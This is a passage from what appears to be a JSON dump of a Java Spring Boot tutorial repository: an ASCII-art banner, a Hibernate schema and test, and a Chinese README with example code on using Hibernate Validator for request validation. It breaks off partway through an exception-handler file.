:....::....:..:....:...: ::.\nW#K#WW#EK#WEDDfK#E#WDfDDWWEKKW#KW#K#WW##KWWWKWE#KWWWKK##W##W#WW#W#WWW#KKWKEKKKKKWE##W#KEDEEEKW##WWW#DGDDGDGDGGGGDGGDDDEDKEKEWEEEDL,:.:. : . .,tjfDDD :  : :: :: :: :  :  :....:: :.\n######WE#WEKDELEWW#EDfLEWKKKWW#WWWW#W#KKKKE#WKWWKW#W###W#W##WWW#K####KWEKKKKKKW##W##KKKDEKKEKWWWW#WWEDDGGGGGGDGDGDGDDEEEEKEKKEKEEDt.:.:..... tjjfEDD :  ... :  :..............  ...:\n#WWW#E#D#WEDEDLWWWWKDffKKWKK#W#WWWW##K##EWEW#K#K##W#W#W#W#WK#WEK##W#EKWEKWEW#K#WK#WKWKEEEDDEWWKWWWWWWKDDGGGGGDGDGDDDDEEEEEEEEEEEEDD :.:..:.: jjtDDDf. :.... : : :.... :  ..... ....:\nW###WW#EE#KEDDfEWWKKDfDDKKKWWK#WW#K##W#KKWWWWKKW#WWWKW#####W##W##W#KKKKKEEWWK#E##K##WWDDEDEDEWWEWWWWWKEDDGGGDGDGDGGDDEDEEKKKEEEEEED..:. . . .iijEDDj : .. ...  . .. .:  . .. .  .\n#WW###WKWWEDEDLKW#KEDfDEWKWK#W#KW#WWW#EWKKWWWWWKKK#W#W#W#K###W##W#KKKKKKKKWWWWW##W#KWEEEDEDEKKWKWWWWW#KDGDGGGGGGDGDDDDEEEEEEEEEEDEDi. :..::..jjjDDG,. . ..   : ..  : . :. ..: : : ..\nW#K#W##EWWWEDDLKWKKEDfDEEEW#KWK#WW#WK#WKWEWWWWW#WK#WWW###W#K###W###EKKW#WWE#WWWWWWWWEWDDEDDEEWKKWK#KWWWEDGGGDGDGDGDDDEDKEKEEEEKEEDDf,:. . . .tijDDf..   .. .. ..  :   .. : . . .\n#WWWW##EK#KEEDfKWKWEGfDEKKW#KKWW#K#KWWWWWEWW#E#K##K#KW###W#K#####KWEKKW#WWK##KKWKW#KKKDDDDDDDKWKKKKWW#WWDDGGDGDGGDDDDEDEEEKEEEDEDEDDL, .:...,jjGDDt : .: : ...... :  ... : ....: ..\n#W#W#W#WKKEDDDLKWW#EDfGKK#KW###WW#K#K#KKKWW#KWW#WW#K##K##K###W#W##EKKW#K#E#E#WWWWEKKWWEEDEEDEKKKKKWWKWWWEDDGGGGDDGDDDDEEEEEEKEEDEDDDDj.: ...tjDEDG,. .. . .: .: ....:.... : ... : ..\nWWW#W###EWKEDDLKKWKDDfGKKKW#WK#KWWWW#W#KWWWWEWK#WKW#KW##W###W####WWEWWW#WWE#K#WK#KWKWWEDEDEDEWKWKKKKWWWWWEDGDGGGDGDDDEEDEEEEEEDDDDEDDD.... .tDEDDD, ... :......... :  : .: :: .....\nWW###W##EWEEDDLKEWEKGfDEWW#W##WWW#KW#W#WE#WWWEW#WE#K###WK#WWK###WWEKWW#W#KWW#W#EEKKKW#WDDDDEDEKKKKKKKW#WWWWGGGGGDGDDDDEDEEEEEEDDDDDDDDj. ..;DEDDDL...:..:...:...::.........:..::..:\n##W#KW##EKWDGDfKKKKEDfDKEWWWWW#WK#K#WWWKWKW#KKK#WW#W##W#######W##WW#K##K##KW#KW#WEK#KKEEDKEDEDEWKWKWWKWKW#WDDGGGDGDDDEEEEEEEEDDDDDDDDDL,.. tEEDDDf..: ::..:: ::.::.::::..:..:..:.::.\nWWK#W###DEEEGDLEKKKKDfDEWK#K##W##W#EW#KWWW#KKW#W##WWWW##W#W#W##W#KEWKWW#KWK##W#KEEWW##KDEDDDEEDKWKWKWWWWWWWEDGDGGDDDDDEDEEEEDEDDDDDDDDGL .,tEDKDGf.:.:. :...:. :  :..:.::..: :. :...\nW#W#W###DEWEDGGEDKKEDLDKK#K#WW###W#WK#KWWW#EWW#W##W#K##WW#W#WW##WKKKKKWWWWWWK#KWKKK##KKEDEEDEEEDWKKKWKW#WWWWKDGGGDGDDDEDEEEEEDEDDDGDGDDDD.LDEEDDDj:..:::....::.:..: ::.:.... :...:.:\n#KW#WW##EEKDGDfDEKWEDLEK#K#K##W##K#KWWWWW#K#KWK###WW#W##W####W#KWE#EW##WWWW##WKKKK#WWKKDEDKKEEDEKWWWWKWKWWW#KEGGGGGDDEDEEEDEDDDDDDDDDGGGDjGDEDDDGj.:: ::.::: ::..::...: :.:::.....:\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate/src/main/resources/sql/schema.sql",
    "content": "-- Dumping database structure for concretepage\nCREATE DATABASE IF NOT EXISTS `pos` default charset utf8 COLLATE utf8_general_ci;\nSET FOREIGN_KEY_CHECKS=0;\nUSE `pos`;\n-- Dumping structure for table concretepage.articles\nCREATE TABLE IF NOT EXISTS `articles` (\n  `article_id` int(5) NOT NULL AUTO_INCREMENT,\n  `title` varchar(200) NOT NULL,\n  `category` varchar(100) NOT NULL,\n  PRIMARY KEY (`article_id`)\n) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COMMENT='文章表';\n\n-- Dumping data for table concretepage.articles: ~3 rows (approximately)\nINSERT INTO `articles` (`article_id`, `title`, `category`) VALUES\n\t(1, 'Java Concurrency', 'Java'),\n\t(2, 'Hibernate HQL ', 'Hibernate'),\n\t(3, 'Spring MVC with Hibernate', 'Spring');\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate/src/test/java/com/xncoding/pos/ApplicationTests.java",
    "content": "package com.xncoding.pos;\n\nimport com.xncoding.pos.dao.entity.Article;\nimport com.xncoding.pos.service.ArticleService;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\nimport org.springframework.transaction.annotation.Transactional;\n\nimport javax.annotation.Resource;\n\nimport java.util.List;\n\nimport static org.hamcrest.MatcherAssert.assertThat;\nimport static org.hamcrest.Matchers.is;\nimport static org.hamcrest.Matchers.notNullValue;\nimport static org.hamcrest.Matchers.nullValue;\n\n/**\n * 测试\n */\n@RunWith(SpringRunner.class)\n@SpringBootTest\n@Transactional\npublic class ApplicationTests {\n    private static final Logger log = LoggerFactory.getLogger(ApplicationTests.class);\n\n    @Resource\n    private ArticleService articleService;\n\n    /**\n     * 测试增删改查\n     */\n    @Test\n    public void test() {\n        Article article = articleService.getArticleById(1);\n        assertThat(article.getTitle(), is(\"Java Concurrency\"));\n\n        List<Article> list = articleService.getAllArticles();\n        assertThat(list, notNullValue());\n        assertThat(list.size(), is(3));\n\n        boolean flag = articleService.addArticle(article);\n        assertThat(flag, is(false));\n\n        article.setTitle(\"Python Concurrency\");\n        articleService.updateArticle(article);\n        Article article1 = articleService.getArticleById(1);\n        assertThat(article1.getTitle(), is(\"Python Concurrency\"));\n\n\n        articleService.deleteArticle(1);\n        Article article2 = articleService.getArticleById(1);\n        assertThat(article2, nullValue());\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate_validator/README.md",
    "content": "# hibernate-validator\n\n### 一、概述\n\nBean Validation源于JSR-303 ，而JSR303是 Java EE 6 中的一项子规范。JSR349、JSR380是其升级版，添加了一些新的特性。Oracle公司传统艺能，一流公司定标准，它们只定义了一些校验注解（Constraint），如@Null@NotNull@Pattern]，位于javax.validation.constraints包下，只提供规范不提供实现。\n\nHibernate Validator是对这个规范的实现（不要和数据库ORM框架Hibernate联系在一起），并增加了一些自定义校验注解，如`@Email`、`@Length`、`@Range`，位于org.hibernate.validator.constraints包下。\n\n这里贴上常用的注解和解释\n\n| 注解                        | 释义                                                         |\n| :-------------------------- | ------------------------------------------------------------ |\n| @Null                       | 被注释的元素必须为 null                                      |\n| @NotNull                    | 被注释的元素必须不为 null                                    |\n| @AssertTrue                 | 被注释的元素必须为 true                                      |\n| @AssertFalse                | 被注释的元素必须为 false                                     |\n| @Min(value)                 | 被注释的元素必须是一个数字，其值必须大于等于指定的最小值     |\n| @Max(value)                 | 被注释的元素必须是一个数字，其值必须小于等于指定的最大值     |\n| @DecimalMin(value)          | 被注释的元素必须是一个数字，其值必须大于等于指定的最小值     |\n| @DecimalMax(value)          | 被注释的元素必须是一个数字，其值必须小于等于指定的最大值     |\n| @Size(max, min)             | 被注释的元素的大小必须在指定的范围内，元素必须为集合，代表集合个数 |\n| @Digits (integer, fraction) | 被注释的元素必须是一个数字，其值必须在可接受的范围内         |\n| @Past                       | 被注释的元素必须是一个过去的日期                             |\n| @Future                     | 被注释的元素必须是一个将来的日期                             |\n| @Email                      | 被注释的元素必须是电子邮箱地址                               |\n| @Length(min=, max=)         | 被注释的字符串的大小必须在指定的范围内，必须为数组或者字符串，若微数组则表示为数组长度，字符串则表示为字符串长度 |\n| @NotEmpty                   | 被注释的字符串的必须非空，**可以为空格，空字符串，null**     |\n| @Range(min=, max=)          | 被注释的元素必须在合适的范围内                               |\n| @NotBlank                   | 被注释的字符串的必须非空，**不可以为空格，可以为空字符串，null** |\n| @Pattern(regexp = )         | 正则表达式校验                                               |\n\n### 二、基础使用\n\n在实际的web项目开发中，我们无需手动引入依赖。当依赖spring-boot-starter-web这个starter时，会自动传递相应的Bean Validation依赖。但有一点需要注意，在更新版本的SpringBoot中，默认移除了Bean Validtion相关依赖。具体的对应关系可以参照如下表格： \n\n| spring boot 版本 | validation依赖                             |\n| ---------------- | ------------------------------------------ |\n| < 2.3.x          | spring-boot-starter-web传递校验依赖        |\n| > 2.3.x          | 需要手动引入spring-boot-starter-validation |\n\n注：以下的示例代码是基于spring-boot 2.3.0.RELEASE版本\n\n工程依赖文件如下\n\n```xml\n<dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-validation</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.junit.vintage</groupId>\n                    <artifactId>junit-vintage-engine</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n    </dependencies>\n```\n\n**Controller层校验**\n\n假设我们实现了一个Spring REST控制器，想要验证由客户端传入的参数。根据请求方式、携带的内容以及实际应用场景，一般有三类：\n\n- POST Request Body；\n\n- GET PathVariable (如/foos/{id})；\n\n- GET Query Param（如url?q=param）\n\n上面三种基本覆盖了大部分的开发场景\n\n **1.验证Request Body** \n\n接收参数的包装类\n\n```java\n@Getter\n@Setter\npublic class RequestParam {\n\n    @Min(1)\n    @Max(5)\n    private Integer number;\n\n    @Email\n    private String email;\n}\n```\n\n接收请求的controller\n\n```java\n@RestController\npublic class ValidateRequestBodyController {\n    \n    @PostMapping(\"/validateBody\")\n    public ResponseEntity<String> validateBody(@Valid @RequestBody RequestParam param) {\n        return ResponseEntity.ok(\"valid\");\n    }\n}\n```\n\n注意：此时注解标注的位置，**必须放在方法参数上**，放在类上会导致校验不生效，行为不符合预期。此外，针对这种情形`@Valid`和@`Validated`两个注解可以混用。 使用`@Validated`时也需要放在参数列表中，放在类上和放在方法上都会导致没有校验。\n\n如果校验失败，会抛出一个**MethodArgumentNotValidException**异常，Spring默认会把这个转为400（Bad Request）请求。\n\n![](img/p1.png)\n\n请求：\n\n```json\n{\n    \"number\":123456,\n    \"email\":\"123456@qq.com\"\n}\n```\n\n返回：\n\n```json\n{\n    \"timestamp\": \"2020-07-30T10:18:19.435+00:00\",\n    \"status\": 400,\n    \"error\": \"Bad Request\",\n    \"message\": \"\",\n    \"path\": \"/validateBody\"\n}\n```\n\n异常：\n\n```text\norg.springframework.web.bind.MethodArgumentNotValidException: Validation failed for argument [0]...\n```\n\n在实际项目开发中，通常会用 ExceptionHandler处理该异常，包裹返回一个更友好的提示：\n\n定义全局异常处理器：\n\n```java\n@RestControllerAdvice\npublic class GlobalExceptionHandler {\n\n    /**\n     * 处理POST请求参数校验异常\n     * @return\n     */\n    @ExceptionHandler(MethodArgumentNotValidException.class)\n    public ResponseEntity<Map<String,Object>> validExceptionHandler(MethodArgumentNotValidException e) {\n        List<FieldError> fieldErrors = e.getBindingResult().getFieldErrors();\n        Map<String, Object> errorMap = fieldErrors.stream()\n                .collect(Collectors.toMap(item -> item.getField(), item -> item.getDefaultMessage()));\n        return ResponseEntity.badRequest().body(errorMap);\n    }\n}\n```\n\n再次请求\n\n```json\n#参数\n{\n    \"number\":123456,\n    \"email\":\"123456qq.com\"\n}\n#结果\n{\n    \"number\": \"最大值不能大于5\",\n    \"email\": \"不是电子邮件格式\"\n}\n```\n\n![](img/p2.png)\n\n **2. 校验PathVariable/RequestParam** \n\n开发中，如果参数个数小于三个，倾向于不写Java Bean来封装参数，而是平铺写到方法入参中。对于这种情况，需要在入参上直接声明约束注解（如@Min())，并在类上标注`@Validated`注解。\n\n 注意：在类级别上标注`@Validated`注解告诉Spring需要校验方法参数上的约束。 \n\n接收请求的controller\n\n```java\n@RestController\n@Validated // 告诉Spring校验方法参数上的约束\npublic class ValidateParametersController {\n\n    /**\n     * @param id\n     * @return\n     */\n    @GetMapping(\"/validatePathVariable/{id}\")\n    public ResponseEntity<String> validatePathVariable(\n            @PathVariable(\"id\") @Min(value = 5,message = \"id不能小于5\") Integer id,\n            @RequestParam(\"email\") @Email(message = \"邮箱格式不对\") String email\n    ) {\n        return ResponseEntity.ok(\"valid\");\n    }\n}\n\n```\n\n测试请求\n\n![](img/p3.png)\n\n异常信息\n\n```json\njavax.validation.ConstraintViolationException: validatePathVariable.email: 邮箱格式不对, validatePathVariable.id: id不能小于5\n```\n\n这是返回的状态码是：500，抛出的是**ConstraintViolationException**\n\n在全局异常处理器中捕获该异常，处理该异常\n\n```java\n@ExceptionHandler(ConstraintViolationException.class)\npublic ResponseEntity<List<String>> constrainViolationHandler(ConstraintViolationException e){\n      Set<ConstraintViolation<?>> violationSet = e.getConstraintViolations();\n      List<String> errorList = violationSet.stream()\n                .map(item -> item.getMessage()).collect(Collectors.toList());\n      return ResponseEntity.badRequest().body(errorList);\n}\n```\n\n再次请求：\n\n![](img/p4.png)\n\n**注意：这种情况你要是把注解`@Valid`或者`@Validated`标注在方法或者参数列表中，都不会校验。**\n\n总结一下：\n\n![](img/p5.png)\n\n### 三、嵌套校验\n\n上文提到过针对Java Bean的校验，里面的字段都是非嵌套。实际的业务场景中，对象内字段类型也是对象的场景并不罕见。 \n\n**正确使用示例：**\n\n```java\n@Data\npublic class Input {\n\n    @NotBlank\n    private String path;\n\n    @Valid //这个注解不加就不会校验Person里面的约束\n    private Person person;\n}\n\n@Data\nclass Person{\n\n    @NotBlank\n    private String name;\n    @Positive // 正数\n    private Integer age;\n}\n```\n\n可以看到此处的 Input有一个 person字段，该字段指向另一个Java Bean。针对这种场景，需要在person字段上标注`@Valid`注解，并且该字段指向的类同样需要标注约束注解。 \n\n**controller**\n\n```java\n@RestController()\n@RequestMapping(\"/nest\")\npublic class NestValidateController {\n\n    @PostMapping(\"/validate\")\n    public ResponseEntity<String> validateNestingAttr(@Valid @RequestBody Input input) {\n        return ResponseEntity.ok(\"valid\");\n    }\n}\n```\n\n**注意：**此时用`@Valid`和`@Validated`都可以，总结一下：在使用@RequestBody接收json数据时，必须在方法的参数列表里面使用`@Valid`或`@Validated`来告诉**hibernate-validator**需要校验参数封装实体的字段约束(被标注到字段上的校验注解),然后在需要嵌套校验的字段上标注@Valid注解，因为@Validated是不能使用在类的字段上的，所以只能使用@Valid\n\n![](img/p6.png)\n\n### 四、分组校验\n\n通常，某些Java Bean在不同的请求之间共享。以典型的CRUD操作为例：Create请求和Update请求很可能都采用相同的对象类型作为输入。但是，在不同的情况下可能会触发不同的验证。 \n\n**正确使用的示例：**\n\n```java\n@Data\npublic class model.User {\n\n    @NotNull(groups = OnUpdate.class)\n    @Null(groups = OnCreate.class)\n    private Long id;\n\n    @NotEmpty(groups = OnCreate.class)\n    private String userName;\n\n    @NotEmpty(groups = OnCreate.class)\n    private String mobile;\n\n    // 仅仅作为一个标记接口\n    public interface OnUpdate{}\n\n    public interface OnCreate{}\n}\n\n```\n\n三个字段标明在创建操作时需要校验\n\n**controller**\n\n```java\n@RestController\n@RequestMapping(\"/group\")\npublic class GroupValidateController {\n    \n    @PostMapping(\"/user\")\n    public ResponseEntity<String> save(@Validated(value = {model.User.OnCreate.class}) @RequestBody model.User user) {\n        return ResponseEntity.ok(\"valid\");\n    }\n}\n\n```\n\n方法参数中标明需要校验的分组\n\n只有`@Validated`才支持分组校验，所以这里必须使用@Validated，不能用@Valid替换\n\n此时生效的是：**@Null(groups = OnCreate.class)**，id必须为空，userName和mobile不能为空\n\n![](img/p7.png)\n\n### 五、自定义校验\n\n有时官方提供的注解规则不能满足我们的需要，这时就要自定义注解来自定义校验规则，举一个典型的应用场景，只接收给定的字符，其它字符都校验不通过。比如：性别只接收 M，F；\n\n**1.定义一个注解**\n\n```java\n/**\n * @Constraint: 关联解析类\n * @Target: 注解作用于的位置\n */\n@Constraint(validatedBy = EnumValueValidator.class)\n@Target({ElementType.FIELD,ElementType.PARAMETER,ElementType.METHOD})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface EnumValue {\n\n    String[] value() default \"\";\n\n    String message() default \"参数必须为指定的值\";\n\n    Class<?>[] groups() default {};\n\n    Class<? extends javax.validation.Payload>[] payload() default {};\n}\n```\n\n**2.定义校验的规则**\n\n```java\npublic class EnumValueValidator implements ConstraintValidator<EnumValue,String> {\n\n    private String[] enumValue;\n\n    /**\n     * 初始化时把注解中的值传过来\n     * @param constraintAnnotation\n     */\n    @Override\n    public void initialize(EnumValue constraintAnnotation) {\n        this.enumValue = constraintAnnotation.value();\n    }\n\n    /**\n     *\n     * @param source 是要被校验的值\n     * @param context\n     * @return\n     */\n    @Override\n    public boolean isValid(String source, ConstraintValidatorContext context) {\n        if(source instanceof String) {\n            for (String val : enumValue) {\n                if(val.equals(source)) {\n                    return true;\n                }\n            }\n        }else {\n            throw new IllegalArgumentException(\"参数类型非法\");\n        }\n        return false;\n    }\n}\n\n```\n\n**3.controller中使用**\n\n```java\n@RestController\n@RequestMapping(\"/def\")\n@Validated // 这个注解一定不能忘\npublic class DefinationValidator {\n\n    @GetMapping(\"/save\")\n    public ResponseEntity<String> save(\n            @EnumValue(value = {\"F\",\"M\"},message = \"性别只能传F,M\")\n            @RequestParam(\"gender\") String gender,\n            @EnumValue(value = {\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\"},message = \"星期只能传1-7\")\n            @RequestParam(\"week\") String week\n    ) {\n        return ResponseEntity.ok(\"valid\");\n    }\n}\n```\n\n**4.测试**\n\n![](img/p8.png)\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate_validator/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_hibernate_validator</artifactId>\n\t<version>1.0</version>\n\n    <properties>\n        <java.version>1.8</java.version>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <spring-boot.version>2.3.0.RELEASE</spring-boot.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-validation</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.junit.vintage</groupId>\n                    <artifactId>junit-vintage-engine</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n    </dependencies>\n\n    <dependencyManagement>\n        <dependencies>\n            <dependency>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-dependencies</artifactId>\n                <version>${spring-boot.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n        </dependencies>\n    </dependencyManagement>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <configuration>\n                    <source>1.8</source>\n                    <target>1.8</target>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate_validator/src/main/java/com/jun/plugin/hibernate/validator/ValidatorApplication.java",
    "content": "package com.jun.plugin.hibernate.validator;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class ValidatorApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(ValidatorApplication.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate_validator/src/main/java/com/jun/plugin/hibernate/validator/annotation/EnumValue.java",
    "content": "package com.jun.plugin.hibernate.validator.annotation;\n\nimport javax.validation.Constraint;\n\nimport com.jun.plugin.hibernate.validator.validator.EnumValueValidator;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * @Constraint: 关联解析类\n * @Target: 注解作用于的位置\n */\n@Constraint(validatedBy = EnumValueValidator.class)\n@Target({ElementType.FIELD,ElementType.PARAMETER,ElementType.METHOD})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface EnumValue {\n\n    String[] value() default \"\";\n\n    String message() default \"参数必须为指定的值\";\n\n    Class<?>[] groups() default {};\n\n    Class<? extends javax.validation.Payload>[] payload() default {};\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate_validator/src/main/java/com/jun/plugin/hibernate/validator/controller/DefinationValidator.java",
    "content": "package com.jun.plugin.hibernate.validator.controller;\n\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.validation.annotation.Validated;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport com.jun.plugin.hibernate.validator.annotation.EnumValue;\n\n@RestController\n@RequestMapping(\"/def\")\n@Validated // 这个注解一定不能忘\npublic class DefinationValidator {\n\n    @GetMapping(\"/save\")\n    public ResponseEntity<String> save(\n            @EnumValue(value = {\"F\",\"M\"},message = \"性别只能传F,M\")\n            @RequestParam(\"gender\") String gender,\n            @EnumValue(value = {\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\"},message = \"星期只能传1-7\")\n            @RequestParam(\"week\") String week\n    ) {\n        return ResponseEntity.ok(\"valid\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate_validator/src/main/java/com/jun/plugin/hibernate/validator/controller/GroupValidateController.java",
    "content": "package com.jun.plugin.hibernate.validator.controller;\n\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.validation.annotation.Validated;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport com.jun.plugin.hibernate.validator.dto.User;\n\n@RestController\n@RequestMapping(\"/group\")\npublic class GroupValidateController {\n\n    @PostMapping(\"/user\")\n    public ResponseEntity<String> save(@Validated(value = {User.OnCreate.class}) @RequestBody User user) {\n        return ResponseEntity.ok(\"valid\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate_validator/src/main/java/com/jun/plugin/hibernate/validator/controller/NestValidateController.java",
    "content": "package com.jun.plugin.hibernate.validator.controller;\n\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.validation.annotation.Validated;\nimport org.springframework.web.bind.annotation.*;\n\nimport com.jun.plugin.hibernate.validator.dto.Input;\n\nimport javax.validation.Valid;\n\n@RestController()\n@RequestMapping(\"/nest\")\npublic class NestValidateController {\n\n    @PostMapping(\"/validate\")\n    public ResponseEntity<String> validateNestingAttr(@Validated @RequestBody Input input) {\n        return ResponseEntity.ok(\"valid\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate_validator/src/main/java/com/jun/plugin/hibernate/validator/controller/ValidateParametersController.java",
    "content": "package com.jun.plugin.hibernate.validator.controller;\n\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.validation.annotation.Validated;\nimport org.springframework.web.bind.annotation.*;\n\nimport javax.validation.Valid;\nimport javax.validation.constraints.Email;\nimport javax.validation.constraints.Min;\nimport javax.validation.constraints.NotBlank;\nimport javax.validation.constraints.NotEmpty;\n\n@RestController\n@Validated // 告诉Spring校验方法参数上的约束\npublic class ValidateParametersController {\n\n    /**\n     * @param id\n     * @return\n     */\n    @GetMapping(\"/validatePathVariable/{id}\")\n    public ResponseEntity<String> validatePathVariable(\n            @PathVariable(\"id\") @Min(value = 5,message = \"id不能小于5\") Integer id,\n            @Valid @RequestParam(\"email\") @Email(message = \"邮箱格式不对\") String email\n    ) {\n        return ResponseEntity.ok(\"valid\");\n    }\n\n    @GetMapping(\"/validate/string\")\n    public ResponseEntity<String> validateString(@NotEmpty @RequestParam(\"name\")String name) {\n        return ResponseEntity.ok(\"valid\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate_validator/src/main/java/com/jun/plugin/hibernate/validator/controller/ValidateRequestBodyController.java",
    "content": "package com.jun.plugin.hibernate.validator.controller;\n\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.validation.annotation.Validated;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport com.jun.plugin.hibernate.validator.dto.RequestParam;\n\nimport javax.validation.Valid;\n\n@RestController\npublic class ValidateRequestBodyController {\n\n    @PostMapping(\"/validateBody\")\n\n    public ResponseEntity<String> validateBody(@Validated @RequestBody RequestParam param) {\n        return ResponseEntity.ok(\"valid\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate_validator/src/main/java/com/jun/plugin/hibernate/validator/dto/Input.java",
    "content": "package com.jun.plugin.hibernate.validator.dto;\n\nimport lombok.Data;\n\nimport javax.validation.Valid;\nimport javax.validation.constraints.NotBlank;\nimport javax.validation.constraints.Positive;\n\n@Data\npublic class Input {\n\n    @NotBlank\n    private String path;\n\n    @Valid\n    private Person person;\n}\n\n@Data\nclass Person{\n\n    @NotBlank\n    private String name;\n    @Positive // 正数\n    private Integer age;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate_validator/src/main/java/com/jun/plugin/hibernate/validator/dto/RequestParam.java",
    "content": "package com.jun.plugin.hibernate.validator.dto;\n\nimport lombok.Getter;\nimport lombok.Setter;\n\nimport javax.validation.constraints.Email;\nimport javax.validation.constraints.Max;\nimport javax.validation.constraints.Min;\n\n@Getter\n@Setter\npublic class RequestParam {\n\n    @Min(value = 1,message = \"最小值不能小于1\")\n    @Max(value = 5,message = \"最大值不能大于5\")\n    private Integer number;\n\n    @Email(message = \"不是电子邮件格式\")\n    private String email;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate_validator/src/main/java/com/jun/plugin/hibernate/validator/dto/User.java",
    "content": "package com.jun.plugin.hibernate.validator.dto;\n\nimport lombok.Data;\n\nimport javax.validation.constraints.NotEmpty;\nimport javax.validation.constraints.NotNull;\nimport javax.validation.constraints.Null;\n\n@Data\npublic class User {\n\n    @NotNull(groups = OnUpdate.class)\n    @Null(groups = OnCreate.class)\n    private Long id;\n\n    @NotEmpty(groups = OnCreate.class)\n    private String userName;\n\n    @NotEmpty(groups = OnCreate.class)\n    private String mobile;\n\n    // 仅仅作为一个标记接口\n    public interface OnUpdate{}\n\n    public interface OnCreate{}\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_hibernate_validator/src/main/java/com/jun/plugin/hibernate/validator/exception/GlobalExceptionHandler.java",
    "content": "package com.jun.plugin.hibernate.validator.exception;\n\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.validation.FieldError;\nimport org.springframework.web.bind.MethodArgumentNotValidException;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\nimport org.springframework.web.bind.annotation.RestControllerAdvice;\n\nimport javax.validation.ConstraintViolation;\nimport javax.validation.ConstraintViolationException;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.stream.Collectors;\n\n@RestControllerAdvice\npublic class GlobalExceptionHandler {\n\n    /**\n     * 处理POST请求参数校验异常\n     * @return\n     */\n    @ExceptionHandler(MethodArgumentNotValidException.class)\n    public ResponseEntity<Map<String,Object>> validExceptionHandler(MethodArgumentNotValidException e) {\n        List<FieldError> fieldErrors = 